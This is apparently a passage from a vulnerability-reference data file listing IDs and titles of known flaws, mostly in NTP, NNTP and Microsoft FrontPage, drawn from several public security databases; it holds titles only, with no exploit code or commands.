23919| [39479] Mozilla Firefox/Thunderbird/SeaMonkey 'nsIContentPolicy' Security Bypass Vulnerability
23920| [38309] XlentProjects SphereCMS 'archive.php' SQL Injection Vulnerability
23921| [37781] TYPO3 MJS Event Pro (mjseventpro) Unspecified SQL Injection Vulnerability
23922| [37255] NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability
23923| [36502] Cisco IOS NTPv4 Reply Packet Remote Denial of Service Vulnerability
23924| [36457] Xerver Administration Interface 'currentPath' Parameter Cross Site Scripting Vulnerability
23925| [35017] NTP 'ntpd' Autokey Stack Buffer Overflow Vulnerability
23926| [34481] NTP 'ntpq' Stack Buffer Overflow Vulnerability
23927| [33290] TimeTools NTP Time Server Syslog Monitor Remote Denial of Service Vulnerability
23928| [33135] Goople CMS 'frontpage.php' SQL Injection Vulnerability
23929| [32352] vBulletin 'admincp/attachmentpermission.php' SQL Injection Vulnerability
23930| [31959] Agares Media ThemeSiteScript 'frontpage_right.php' Remote File Include Vulnerability
23931| [30290] SmbClientParser Perl Module Remote Command Execution Vulnerability
23932| [28297] Travelsized CMS 'frontpage.php' and 'index.php' Multiple Input Validation Vulnerabilities
23933| [28230] XOOPS MyTutorials Module 'printpage.php' SQL Injection Vulnerability
23934| [27375] OZ Journals 'printpreview' Local File Disclosure Vulnerability
23935| [26986] Arcadem LE 'frontpage_right.php' Remote File Include Vulnerability
23936| [25908] Microsoft Outlook Express And Windows Mail NNTP Protocol Heap Buffer Overflow Vulnerability
23937| [22223] Hitachi OpenTP1 Unspecified Remote Denial of Service Vulnerability
23938| [22098] Uberghey Frontpage.PHP Remote File Include Vulnerability
23939| [20321] Travelsized CMS Frontpage.PHP Remote File Include Vulnerability
23940| [20044] Limbo CMS Frontpage Arbitrary File Upload Vulnerability
23941| [19423] phNNTP File_newsportal Remote File Include Vulnerability
23942| [17452] Microsoft FrontPage Server Extensions Cross-Site Scripting Vulnerability
23943| [16902] Limbo CMS Frontpage Arbitrary PHP Command Execution Vulnerability
23944| [15117] Lynx NNTP Article Header Buffer Overflow Vulnerability
23945| [15093] Hitachi OpenTP1 Denial Of Service Vulnerability
23946| [14673] NTPD Insecure Privileges Vulnerability
23947| [13951] Microsoft Outlook Express NNTP Response Parsing Buffer Overflow Vulnerability
23948| [13376] MetaCart E-Shop V-8 IntProdID Parameter Remote SQL Injection Vulnerability
23949| [12756] YaBB Remote UsersRecentPosts Cross-Site Scripting Vulnerability
23950| [12141] Microsoft FrontPage 2000 Internet Publishing Service Provider DAV File Upload Vulnerability
23951| [11412] Microsoft Frontpage Asycpict.DLL JPEG Handling Remote Denial of Service Vulnerabilities
23952| [11379] Microsoft NNTP Component Heap Overflow Vulnerability
23953| [9008] Microsoft FrontPage Server Extensions SmartHTML Interpreter Denial Of Service Vulnerability
23954| [9007] Microsoft FrontPage Server Extensions Remote Debug Buffer Overrun Vulnerability
23955| [6522] EType EServ NNTP Remote Denial Of Service Vulnerability
23956| [6356] HP-UX xntpd Unspecified Denial Of Service Vulnerability
23957| [5804] Microsoft FrontPage Server Extensions SmartHTML Buffer Overflow Vulnerability
23958| [5240] NewsX NNTP SysLog Format String Vulnerability
23959| [5160] Kim Storm NN NNTP Error Message Format String Vulnerability
23960| [4251] Improved mod_frontpage Buffer Overflow Vulnerability
23961| [4084] Microsoft IIS 5.1 Frontpage Server Extensions File Source Disclosure Vulnerability
23962| [4078] Microsoft IIS 5.1 Frontpage Extensions Path Disclosure Information Vulnerability
23963| [3751] Total PC Solutions PHP Rocket Add-in for FrontPage Directory Traversal Vulnerability
23964| [3183] Microsoft Windows NNTP Denial of Service Vulnerability
23965| [2911] Juergen Schoenwaelder scotty ntping Buffer Overflow Vulnerability
23966| [2540] Ntpd Remote Buffer Overflow Vulnerability
23967| [1608] Microsoft FrontPage Server Extensions MS-DOS Device Name Denial Of Service Vulnerability
23968| [1594] Microsoft FrontPage/IIS Cross Site Scripting shtml.dll Vulnerability
23969| [1435] Microsoft FrontPage 2000 Server Extensions Denial Of Service Vulnerability
23970| [1205] Microsoft FrontPage Extensions .pwd File Permissions Vulnerability
23971| [1174] Microsoft Frontpage Server Extensions Path Disclosure Vulnerability
23972| [1156] Cassandra NNTPServer v1.10 Buffer Overflow Vulnerability
23973| [1141] MS Frontpage htimage.exe File Existence Disclosure Vulnerability
23974| [1117] MS Frontpage Image Mapper Buffer Overflow Vulnerability
23975| [1109] MS IIS FrontPage 98 Extensions Buffer Overflow Vulnerability
23976| [1108] MS IIS FrontPage 98 Extensions Filename Obfuscation Vulnerability
23977| [989] Microsoft FrontPage PWS Directory Traversal Vulnerability
23978| [964] MS Frontpage htimage.exe Path Leak Vulnerability
23979| [568] Microsoft FrontPage PWS DoS Vulnerability
23980| [74045] NTP 'ntp-keygen.c' Predictable Random Number Generator Weakness
23981| [71762] NTP 'ntp-keygen.c' Predictable Random Number Generator Weakness
23982| [71757] NTP 'ntp_config.c' Insufficient Entropy Security Weakness
23983| [10980] Microsoft NTP Time Synchronization Spoof Weakness
23984|
23985| IBM X-Force - https://exchange.xforce.ibmcloud.com:
23986| [82317] ownCloud viewer.php and addMountPoint.php cross-site scripting
23987| [52238] Microsoft FrontPage Server Extensions Vital Information Leakage
23988| [36554] Wireshark NTP dissector format string vulnerable Windows version detected
23989| [6730] Microsoft FrontPage Server Extensions Visual Studio RAD Support sub-component buffer overflow
23990| [86041] TRENDnet TEW-812DRU uapply.cgi and setNTP.cgi cross-site request forgery
23991| [82084] IB-NAS5220 and IB-NAS4220-B ntp_name parameter cross-site scripting
23992| [78636] IFOBS regclientprint.jsp cross-site scripting
23993| [76340] MYRE Real Estate Mobile listings.php and agentprofile.php SQL injection
23994| [75403] MYRE Real Estate Mobile listings.php and agentprofile.php SQL injection
23995| [73583] Moodle frontpage security bypass
23996| [70325] Cyrus IMAPd NNTP security bypass
23997| [66589] Linux Kernel eventpoll.c denial of service
23998| [66034] Linux NTP buffer overflow
23999| [65872] Linux Kernel eventpoll.c denial of service
24000| [62765] Plesk Small Business Manager currentPageId SQL injection
24001| [60481] IBM FileNet Content Manager InheritParentPermissions security bypass
24002| [59090] Opera news:// and nntp:// URI denial of service
24003| [59088] Microsoft Internet Explorer nntp:// URIs denial of service
24004| [59086] Mozilla Firefox news:// and nntp:// URI denial of service
24005| [58364] HP LoadRunner Agent magentproc.exe code execution
24006| [57822] Magneto Software SntpGetReply buffer overflow
24007| [54650] NTP mode7 (MODE_PRIVATE) denial of service
24008| [53675] XLink Omni-NFS Enterprise ntpd.exe buffer overflow
24009| [53663] Xerver currentPath directory traversal
24010| [53662] Xerver currentPath cross-site scripting
24011| [53455] Cisco IOS NTPv4 denial of service
24012| [52468] TGS Content Management index.php and frontpage_ception.php SQL injection
24013| [52237] Microsoft FrontPage Server Extensions To Do List Found
24014| [52236] Microsoft FrontPage Server Extensions Machine Name Disclosure
24015| [52235] Microsoft FrontPage Configuration Information Leakage
24016| [52234] Microsoft FrontPage '_vti_cnf' Information Leakage
24017| [50617] NTP ntpd buffer overflow
24018| [50258] Drupal frontpage forms information disclosure
24019| [49838] NTP cookedprint() buffer overflow
24020| [48023] Windows NTP Time Server Syslog Monitor syslog message denial of service
24021| [47773] Goople CMS frontpage.php SQL injection
24022| [47244] Adobe AIR and Adobe Flash Player DefineConstantPool information disclosure
24023| [46174] ThemeSiteScript frontpage_right.php file include
24024| [44940] devalcms currentpath parameter cross-site scripting
24025| [43910] Filesys::SmbClientParser directory command execution
24026| [43418] Avaya Messaging Storage Server date, time and NTP server command execution
24027| [41538] Perlbal ClientProxy.pm denial of service
24028| [41181] tutorials module for XOOPS printpage.php and index.php SQL injection
24029| [40129] Leafnode fetchnews NNTP client denial of service
24030| [39414] WordPress XMLRPC metaWeblog.getRecentPosts function informaiton disclosure
24031| [39266] phpAutoVideo frontpage_right.php file include
24032| [39228] Arcadem LE frontpage_right.php file include
24033| [36811] Microsoft Outlook Express and Windows Mail NNTP response code execution
24034| [34720] Microsoft FrontPage Personal Web Server CERN Image Map Dispatcher buffer overflow
24035| [34719] Microsoft FrontPage CERN Image Map Dispatcher information disclosure
24036| [33124] Squid clientProcessRequest() function denial of service
24037| [32247] RHSA-2006:0393 updates for ntp not installed
24038| [32076] Microsoft Frontpage Extensions directory /_vti_pvt/ present
24039| [31553] Uberghey CMS frontpage.php file include
24040| [29337] Travelsized CMS frontpage.php file include
24041| [28271] phNNTP article-raw.php file include
24042| [27828] Wireshark (Ethereal) NTP dissector format string
24043| [25965] @1 Event Publisher eventpublisher.txt information disclosure
24044| [25537] Microsoft FrontPage Server Extensions HTML cross-site scripting
24045| [22748] Hitachi OpenTP1 denial of service
24046| [22035] NTP incorrect group permissions
24047| [21537] Microsoft FrontPage style tag denial of service
24048| [20830] Microsoft Outlook Express NNTP Response Parsing buffer overflow
24049| [20283] MetaCart e-Shop intProdID and intCatalogID parameters SQL injection
24050| [19186] newsfetch NNTP responses buffer overflow
24051| [18711] Mozilla NNTP buffer overflow
24052| [17739] Microsoft FrontPage and Internet Explorer asycpict.dll JPEG denial of service
24053| [17641] Microsoft Windows NNTP buffer overflow
24054| [15406] NTP integer buffer overflow
24055| [13680] Microsoft FrontPage Server Extensions SmartHTML Interpreter denial of service
24056| [13674] Microsoft FrontPage Server Extensions debug buffer overflow
24057| [11873] Microsoft Internet Explorer, Outlook, and FrontPage shlwapi.dll library denial of service
24058| [10942] Leafnode NNTP server denial of service
24059| [10836] HP-UX xntpd denial of service
24060| [10195] Microsoft FrontPage Server Extensions (FPSE) 2002 SmartHTML Interpreter buffer overflow
24061| [10194] Microsoft FrontPage Server Extensions (FPSE) 2000 SmartHTML Interpreter denial of service
24062| [9583] newsx NNTP client syslog() local format string
24063| [9491] nn NNTP error message format string
24064| [9270] slurp NNTP client syslog() format string
24065| [9226] mnews NNTP response remote buffer overflow
24066| [8800] Microsoft IIS FrontPage Server Extensions and ASP.NET ISAPI filter error handling denial of service
24067| [8733] SNTP time broadcast audit
24068| [8517] NNTP port probe
24069| [8513] SNTP malformed packet
24070| [8411] NTP servers from which the router obtains time are set
24071| [8410] NTP server is enabled on the router
24072| [8400] Apache HTTP Server mod_frontpage buffer overflows
24073| [8362] Microsoft FrontPage form_results.txt is world readable
24074| [7951] Shell metacharacters in NNTP fields
24075| [7795] Microsoft FrontPage Server Extensions (FPSE) "
24076| [7788] Microsoft FrontPage Server Extensions (FPSE) "
24077| [7749] PHP Rocket Add-in for FrontPage "
24078| [7710] NNTP Subject
24079| [6977] Microsoft Windows NT and 2000 NNTP memory leak denial of service
24080| [6735] Scotty ntping buffer overflow could allow the execution of arbitrary code
24081| [6321] Ntpd server readvar control message buffer overflow
24082| [5494] Microsoft FrontPage 98 Server Extensions fpcount.exe CGI can be remotely crashed
24083| [5124] Microsoft FrontPage Server Extensions device name denial of service
24084| [4899] Microsoft FrontPage Extensions shtml.dll multiple access denial of service
24085| [4484] Microsoft FrontPage Server Extensions image mapping components allow remote code execution
24086| [4439] Microsoft FrontPage Server Extensions"
24087| [4410] CASSANDRA NNTP server buffer overflow
24088| [4333] Microsoft FrontPage 98 Server Extensions DVWSSR.DLL file buffer overflow
24089| [4268] Microsoft FrontPage 98 Server Extensions DVWSSR.DLL file could allow remote ASP source retrieval
24090| [3393] Microsoft FrontPage Extensions authors.pwd file could reveal encrypted passwords
24091| [3391] Microsoft FrontPage Extensions service.pwd file could reveal encrypted passwords
24092| [3178] Exchange NNTP server unauthenticated command
24093| [3174] Exchange NNTP server dropped connection
24094| [3117] Microsoft FrontPage long URL buffer overflow
24095| [1223] Microsoft Exchange Server SMTP and NNTP denial of service
24096| [908] Microsoft FrontPage extensions under Unix create world readable password files
24097| [670] NNTP username
24098| [669] NNTP password
24099| [668] NNTP group
24100| [561] Microsoft FrontPage 1.1 allows users to write to executable directories
24101| [438] NNTP daemon
24102| [89] NNTP reading
24103| [88] NNTP posting
24104|
24105| Exploit-DB - https://www.exploit-db.com:
24106| [27620] Microsoft FrontPage Server Extensions Cross-Site Scripting Vulnerability
24107| [25536] MetaCart E-Shop V-8 IntProdID Parameter Remote SQL Injection Vulnerability
24108| [25199] YaBB 2.0 - Remote UsersRecentPosts Cross-Site Scripting Vulnerability
24109| [22124] EType EServ 1.9x NNTP Remote Denial of Service Vulnerability
24110| [20960] Juergen Schoenwaelder scotty 2.1.x ntping Buffer Overflow Vulnerability
24111| [20727] Ntpd Remote Buffer Overflow Vulnerability
24112| [19897] FrontPage 2000,IIS 4.0/5.0 Server Extensions Path Disclosure Vulnerability
24113| [19884] Atrium Software Cassandra NNTP Server 1.10 Buffer Overflow Vulnerability
24114| [19846] MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 - Buffer Overflow Vulnerability
24115| [19445] Microsoft FrontPage Personal WebServer 1.0 PWS DoS Vulnerability
24116| [16960] Linux NTP query client 4.2.6p1 - Heap Overflow Vulnerability
24117| [5245] XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability
24118| [3147] Uberghey 0.3.1 (frontpage.php) Remote File Include Vulnerability
24119| [2148] phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability
24120| [28809] HP LoadRunner magentproc.exe Overflow
24121| [27894] obotix IP Camera M1 1.9.4 .7/M10 2.0.5 .2 eventplayer get_image_info_abspath Parameter XSS
24122| [24379] Merak Mail Server 7.4.5 attachment.html attachmentpage_text_error Parameter XSS
24123| [19877] FrontPage 98/Personal WebServer 1.0,Personal Web Server 2.0 htimage.exe File Existence Disclosure
24124| [19853] FrontPage 97/98 Server Image Mapper Buffer Overflow
24125| [19845] MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 Filename Obfuscation
24126| [19753] ms frontpage personal webserver 1.0/personal web server 4.0 - Directory Traversal
24127| [19605] Linux Kernel fs/eventpoll.c Local Denial of Service
24128| [16379] Microsoft Outlook Express NNTP Response Parsing Buffer Overflow
24129| [16356] Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
24130| [16285] NTP daemon readvar Buffer Overflow
24131| [15838] OpenClassifieds 1.7.0.3 Chained: Captcha Bypass->SQLi->Persistent XSS on Frontpage
24132| [12204] MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpSendRequest Crash PoC
24133| [12203] MagnetoSoft SNTP 4.0.0.7 - ActiveX SntpGetReply BOF
24134| [9940] ntpd 4.0.99j-k readvar Buffer Overflow
24135| [7683] Goople <= 1.8.2 (frontpage.php) Blind SQL Injection Exploit
24136| [2471] Travelsized CMS <= 0.4 (frontpage.php) Remote File Include Exploit
24137| [1066] MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)
24138| [578] MS Windows NNTP Service (XPAT) Denial of Service Exploit (MS04-036)
24139| [121] MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)
24140|
24141| OpenVAS (Nessus) - http://www.openvas.org:
24142| [902839] Microsoft FrontPage Server Extensions MS-DOS Device Name DoS Vulnerability
24143| [900652] NTP 'ntpd' Autokey Stack Overflow Vulnerability
24144| [900623] NTP Stack Buffer Overflow Vulnerability
24145| [801713] Microsoft Outlook Express And Windows Mail NNTP Protocol Heap Buffer Overflow Vulnerability (941202)
24146| [800408] NTP EVP_VerifyFinal() Security Bypass Vulnerability
24147| [800407] NTP Version Detection (Linux)
24148| [100399] NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability
24149| [56769] FreeBSD Ports: frontpage -- cross site scripting vulnerability
24150| [10884] NTP read variables
24151| [880846] CentOS Update for ntp CESA-2009:1648 centos4 i386
24152| [880814] CentOS Update for ntp CESA-2009:0046 centos5 i386
24153| [880810] CentOS Update for ntp CESA-2009:1648 centos5 i386
24154| [880762] CentOS Update for ntp CESA-2009:1039 centos5 i386
24155| [880690] CentOS Update for ntp CESA-2009:1651 centos3 i386
24156| [855775] Solaris Update for usr/sbin/ntpq 141396-01
24157| [855676] Solaris Update for ntpq 141911-01
24158| [855649] Solaris Update for ntpq 141910-01
24159| [855628] Solaris Update for usr/sbin/ntpq 141397-01
24160| [855247] Solaris Update for /usr/lib/inet/xntpd and /usr/sbin/ntpdate 109668-07
24161| [855010] Solaris Update for /usr/lib/inet/xntpd and /usr/sbin/ntpdate 109667-07
24162| [835252] HP-UX Update for XNTP HPSBUX02639
24163| [835204] HP-UX Update for XNTP HPSBUX02437
24164| [835161] HP-UX Update for xntpd HPSBUX00232
24165| [835070] HP-UX Update for xntpd(1M) HPSBUX00148
24166| [100608] Windows NT NNTP Component Buffer Overflow
24167| [66662] FreeBSD Security Advisory (FreeBSD-SA-10:02.ntpd.asc)
24168| [66639] Gentoo Security Advisory GLSA 201001-01 (ntp)
24169| [66527] CentOS Security Advisory CESA-2009:1648 (ntp)
24170| [66526] CentOS Security Advisory CESA-2009:1651 (ntp)
24171| [66519] Slackware Advisory SSA:2009-343-01 ntp
24172| [66515] Debian Security Advisory DSA 1948-1 (ntp)
24173| [66511] Fedora Core 10 FEDORA-2009-13121 (ntp)
24174| [66507] Fedora Core 11 FEDORA-2009-13090 (ntp)
24175| [66501] Fedora Core 12 FEDORA-2009-13046 (ntp)
24176| [66368] Mandriva Security Advisory MDVSA-2009:309 (ntp)
24177| [65948] SLES10: Security update for xntp
24178| [65773] SLES10: Security update for xntp
24179| [65666] SLES11: Security update for ntp
24180| [65606] SLES9: Security update for xntp
24181| [65578] SLES9: Security update for xntp
24182| [65238] SLES9: Security update for xntp, xntp-doc
24183| [64225] Fedora Core 11 FEDORA-2009-5674 (ntp)
24184| [64207] FreeBSD Security Advisory (FreeBSD-SA-09:11.ntpd.asc)
24185| [64146] Ubuntu USN-777-1 (ntp)
24186| [64128] Mandrake Security Advisory MDVSA-2009:117 (ntp)
24187| [64116] Slackware Advisory SSA:2009-154-01 ntp
24188| [64114] Gentoo Security Advisory GLSA 200905-08 (ntp)
24189| [64098] Fedora Core 9 FEDORA-2009-5275 (ntp)
24190| [64095] Fedora Core 10 FEDORA-2009-5273 (ntp)
24191| [64050] CentOS Security Advisory CESA-2009:1039 (ntp)
24192| [64046] FreeBSD Ports: ntp
24193| [64032] Debian Security Advisory DSA 1801-1 (ntp)
24194| [63770] Mandrake Security Advisory MDVSA-2009:092 (ntp)
24195| [63743] Gentoo Security Advisory GLSA 200904-05 (ntp)
24196| [63343] CentOS Security Advisory CESA-2009:0046 (ntp)
24197| [63267] Fedora Core 10 FEDORA-2009-0544 (ntp)
24198| [63266] Fedora Core 9 FEDORA-2009-0547 (ntp)
24199| [63242] FreeBSD Security Advisory (FreeBSD-SA-09:03.ntpd.asc)
24200| [63230] Slackware Advisory SSA:2009-014-03 ntp
24201| [63194] Mandrake Security Advisory MDVSA-2009:007 (ntp)
24202| [63163] Ubuntu USN-705-1 (ntp)
24203| [63149] Debian Security Advisory DSA 1702-1 (ntp)
24204| [55233] Debian Security Advisory DSA 801-1 (ntp)
24205| [53863] Debian Security Advisory DSA 045-1 (ntp)
24206| [52235] mozilla -- heap overflow in NNTP handler
24207| [17229] NNTP password overflow
24208| [17228] NNTP message headers overflow
24209| [14773] Identifies services like FTP, SMTP, NNTP...
24210| [10699] IIS FrontPage DoS II
24211| [10585] IIS FrontPage DoS
24212|
24213| SecurityTracker - https://www.securitytracker.com:
24214| [1021533] NTP Signature Validation Flaw Lets Remote Users Bypass Validation Checks
24215| [1015896] Microsoft FrontPage Server Extensions Input Validation Holes Permit Cross-Site Scripting Attacks
24216| [1013420] YaBB Input Validation Error in 'usersrecentposts' Lets Remote Users Conduct Cross-Site Scripting Attacks
24217| [1011762] cPanel Backup and FrontPage Management Bugs Let Remote Authenticated Users View, Edit, and Own Arbitrary Files
24218| [1001816] Microsoft Visual Studio RAD Support Component of FrontPage Lets Remote Users Execute Arbitrary Code on the FrontPage Server
24219| [1026143] Cyrus IMAP Server NNTP Service Lets Remote Users Bypass Authentication
24220| [1026031] Cyrus IMAP Server Buffer Overflow in NNTP Daemon Lets Remote Users Execute Arbitrary Code
24221| [1024934] Subversion SVNParentPath Collection Processing Error Lets Remote Users Execute Arbitrary Code
24222| [1023298] NTP Mode 7 Packet Processing Flaw Lets Remote Users Deny Service
24223| [1022930] Cisco IOS H.323, SIP, NTP, Tunneling, and Encrypted Packet Processing Flaws Let Remote Users Deny Service
24224| [1022243] ntp crypto_recv() Autokey Stack Overflow Lets Remote Users Execute Arbitrary Code
24225| [1022033] ntp Buffer Overflow in ntpq cookedprint() Lets Remote Users Execute Arbitrary Code
24226| [1018786] Microsoft Outlook Express Bug in Processing NNTP Responses Lets Remote Users Execute Arbitrary Code
24227| [1018785] Windows Mail Bug in Parsing NNTP Responses Lets Remote Users Execute Arbitrary Code
24228| [1016679] xntpd '-u' Switch May Cause the Daemon to Run With Incorrect Group Privileges
24229| [1016668] phNNTP Include File Flaw in 'file_newsportal' Parameter Lets Remote Users Execute Arbitrary Code
24230| [1015065] Lynx Buffer Overflow in HTrjis() in Processing NNTP Headers Lets Remote Users Execute Arbitrary Code
24231| [1014200] Microsoft Outlook Express Buffer Overflow in NNTP Response Parser Lets Remote Users Execute Arbitrary Code
24232| [1012726] Mozilla Buffer Overflow in Processing NNTP URLs Lets Remote Users Execute Arbitrary Code
24233| [1011631] Microsoft NNTP Buffer Overflow Lets Remote Users Execute Arbitrary Code With SYSTEM Privileges
24234| [1011250] Microsoft FrontPage Buffer Overflow in WordPerfect Converter Lets Remote Users Execute Arbitrary Code
24235| [1009336] Network Time Protocol (NTP) Server Integer Overflow May Return the Incorrect Time
24236| [1008147] Microsoft FrontPage Server Extensions Buffer Overflow May Let Remote Users Execute Arbitrary Code
24237| [1005865] Leafnode NNTP News Server Lets Remote Users Deny Service
24238| [1005786] Xntpd Time Daemon on HP-UX May Crash or Degrade
24239| [1005287] Microsoft FrontPage Server Extensions SmartHTML Interpreter Bugs May Let Remote Users Execute Arbitrary Code with System Privileges
24240| [1004266] Cisco BTS 10200 Softswitch Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device or Execute Arbitrary Code
24241| [1004265] Cisco IP Manager Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device or Execute Arbitrary Code
24242| [1004264] Cisco Media Gateway Controller (MGC) Product Line Underlying Operating System Contains Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device
24243| [1004244] Cisco IOS Systems Contain Network Time Daemon (NTP) Buffer Overflow That May Allow a Remote User to Crash the Device
24244| [1003767] 'mod_frontpage' Module for Apache Web Server Has Buffer Overlow in 'fpexec.c' That Allows Remote Users to Execute Arbitrary Code on the System with Root Privileges
24245| [1003071] PHP Rocket Add-in for FrontPage Discloses Files on the Server to Remote Users
24246| [1002197] Microsoft Windows NNTP Network News Service Has a Memory Leak That Allows Remote Users to Cause the Server to Crash
24247| [1001770] Scotty Tcl Interpreter's ntping Utility Lets Local Users Obtain Root Privileges
24248| [1001237] The Network Time Protocol Daemon (ntpd) Allows Remote Users to Execute Arbitrary Code on the Server - Typically to Gain Root Privileges on the Server
24249|
24250| OSVDB - http://www.osvdb.org:
24251| [52917] Adobe Flash Player ActionScript 2 VM DefineConstantPool Action Crafted PDF File Handling Memory Disclosure
24252| [37179] Free Image Hosting frontpage.php AD_BODY_TEMP Variable Remote
24253| [31138] SolidState ViewAccountPage.class.php base_path Parameter Remote File Inclusion
24254| [30764] ClickGallery view_recent.asp currentpage Parameter SQL Injection
24255| [26417] ClickGallery view_gallery.asp parentcurrentpage Parameter XSS
24256| [3383] Microsoft FrontPage Server Extensions imagemap.exe File Verification
24257| [805] NTP ntpd readvar Variable Remote Overflow
24258| [577] FrontPage Server Extensions Visual Studio RAD Support Overflow
24259| [95804] TRENDnet TEW-812DRU setNTP.cgi Multiple Field Command Injection
24260| [93712] Zavio IP Cameras /opt/cgi/view/param sub_C8C8 Function General.Time.NTP.Server Parameter Remote Command Execution
24261| [92877] Vivotek PT7135 IP Camera farseer.out system.ntp Parameter Remote Command Execution
24262| [91972] GNOME Evolution-Data-Server NNTP Encryption Option Failure Remote Credential Disclosure
24263| [91630] Rosewill RSVA11001 NTP Host Manipulation Remote Command Execution
24264| [91145] Microsoft IE removeChild CHtmlComponentProperty Object Handling Use-after-free Arbitrary Code Execution
24265| [90495] ownCloud /apps/files_external/addMountPoint.php mountpoint Parameter XSS
24266| [90267] Evolution NNTP STARTTLS Encryption Regression Remote Cleartext Credential Disclosure
24267| [90219] Raidsonic Multiple Product /cgi/time/time.cgi ntp_name Parameter XSS
24268| [85705] iFOBS ifobsClient/regclientprint.jsp Multiple Parameter XSS
24269| [83687] Linux Kernel fs/eventpoll.c Local DoS
24270| [83643] Knews Multilingual Newsletters Plugin for WordPress wp-content/plugins/knews/wysiwyg/fontpicker/index.php ff Parameter XSS
24271| [81824] MYRE Real Estate Mobile 1_mobile/agentprofile.php userid Parameter SQL Injection
24272| [81644] WebKit XMLDocumentParser::exitText Function XML Parsing Use-after-free Issue
24273| [78467] WebTitan NTP Server (Display) Module Unspecified XSS
24274| [77996] Contentpapst admin.php Multiple Parameter XSS
24275| [77872] Parallels Plesk Small Business Panel Site Editor (SiteBuilder) Feature /Wizard/Edit/Html currentPageId Parameter SQL Injection
24276| [76829] Calibre calibre-mount-helper Utility Arbitrary Directory / Mountpoint Manipulation
24277| [76338] WebKit XMLDocumentParser::insertErrorMessageBlock Use-after-free Issue
24278| [76336] WebKit XMLDocumentParser::endElementNs / XMLDocumentParser::parseEndElement Use-after-free Issue
24279| [76057] Cyrus IMAP Server NNTP AUTHINFO USER Command Parsing Authentication Bypass Arbitrary Command Execution
24280| [75307] Cyrus IMAP Server map/nntpd.c split_wildmats() Function NNTP Command Parsing Remote Overflow
24281| [73053] Linux Kernel fs/eventpoll.c epoll Data Structure File Descriptor Local DoS
24282| [70332] Apache Subversion Apache HTTP Server mod_dav_svn repos.c walk FunctionSVNParentPath Collection Remote DoS
24283| [69870] Lantern CMS 11-login.asp intPassedLocationID Parameter XSS
24284| [66859] Adobe Reader / Acrobat CoolType.dll maxp Table maxComponentPoints Field Font Handling Overflow
24285| [66448] IBM FileNet Content Manager InheritParentPermissions Security Inheritance Weakness
24286| [66268] InstantPhp Jobs Component for Joomla! index.php detailed_results Parameter SQL Injection
24287| [65465] WMS-CMS printpage.asp Multiple Parameter SQL Injection
24288| [65111] Opera Invalid news / nntp URI IFRAME Element Handling Remote DoS
24289| [65110] Microsoft IE Invalid news / nntp URI IFRAME Element Handling Remote DoS
24290| [65109] Mozilla Firefox Invalid news / nntp URI IFRAME Element Handling Remote DoS
24291| [64437] HP Mercury LoadRunner Agent magentproc.exe Remote Arbitrary Code Execution
24292| [63620] Mozilla Multiple Products XMLDocument::load Function nsIContentPolicy Check Restriction Bypass
24293| [63472] Apple Safari on Mac OS X libFontParser.dylib TType1ParsingContext::SpecialEncoding() Function Arbitrary Code Execution (PWN2OWN)
24294| [62909] ncpfs ncpumount sutil/ncpumount.c Mountpoint Name Local File Disclosure
24295| [60847] NTP ntpd Mode 7 Request Crafted Packet Reply Loop Remote DoS
24296| [60827] e107 e107_admin/frontpage.php Unspecified Parameter XSS
24297| [60349] Etype EServ NNTP Service Large Request Remote DoS
24298| [60142] HP-UX xntpd Unspecified Remote DoS
24299| [58758] Apache River GrantPermission Policy Manipulation Privilege Escalation
24300| [58645] Xerver HTTP Server chooseDirectory Action currentPath Parameter XSS
24301| [58644] Xerver HTTP Server chooseDirectory Action currentPath Parameter Traversal Arbitrary File Access
24302| [58342] Cisco IOS Network Time Protocol (NTP) Crafted Packet Remote DoS
24303| [57478] TGS Content Management cms/frontpage_ception.ph Multiple Parameter SQL Injection
24304| [56015] NTP on Windows SO_EXCLUSIVEADDRUSE Unspecified Issue
24305| [56014] NTP EVP_VerifyFinal() Check Unspecified Issue
24306| [54576] NTP ntpd/ntp_crypto.c crypto_recv() Function Remote Overflow
24307| [54294] eFront studentpage.php / professorpage.php File Upload Arbitrary Code Execution
24308| [53593] NTP ntpq/ntpq.c cookedprint() Function Remote Overflow
24309| [51244] Goople CMS frontpage.php Multiple Parameter SQL Injection
24310| [50015] Easyedit CMS news.php intPageID Parameter SQL Injection
24311| [50014] Easyedit CMS page.php intPageID Parameter SQL Injection
24312| [49921] vBulletin admincp/attachmentpermission.php extension Parameter SQL Injection
24313| [49856] ThemeSiteScript upload/admin/frontpage_right.php loadadminpage Parameter Remote File Inclusion
24314| [47971] DevalCMS index.php currentpath Parameter XSS
24315| [47502] Perl Filesys::SmbClientParser Folder Name Arbitrary Shell Command Injection
24316| [47001] Linux Kernel fs/namespace.c do_change_type Function Mountpoint Manipulation Local Privilege Escalation
24317| [46124] DesktopOnNet frontpage.don3app/frontpage.php app_path Parameter Remote File Inclusion
24318| [45449] ACT P202S IP Phone Hardcoded NTP Server IP Time Subversion
24319| [43913] Perlbal lib/Perlbal/ClientProxy.pm Chunked Upload File Upload Handling Overflow DoS
24320| [42913] Hosting Controller UNINSTAL.asp Crafted Host Header Arbitrary Site Frontpage Extension Manipulation
24321| [42876] Tutorials Module for XOOPS printpage.php tid Parameter SQL Injection
24322| [42058] Microsoft FrontPage CERN Image Map Dispatcher (htimage.exe) Arbitrary File Information Disclosure
24323| [39802] Arcadem LE frontpage_right.php loadadminpage Parameter Remote File Inclusion
24324| [39617] phpAutoVideo admin/frontpage_right.php loadadminpage Parameter Remote File Inclusion
24325| [37631] Microsoft Windows Malformed NNTP Response Remote Memory Corruption
24326| [34367] Squid src/client_side.c clientProcessRequest() function TRACE Request DoS
24327| [33553] Uberghey CMS frontpage.php setup_folder Parameter Remote File Inclusion
24328| [32987] Movable Type MTCommentPreviewIsStatic Tag XSS
24329| [32962] Hitachi OpenTP1 Invalid Data DoS
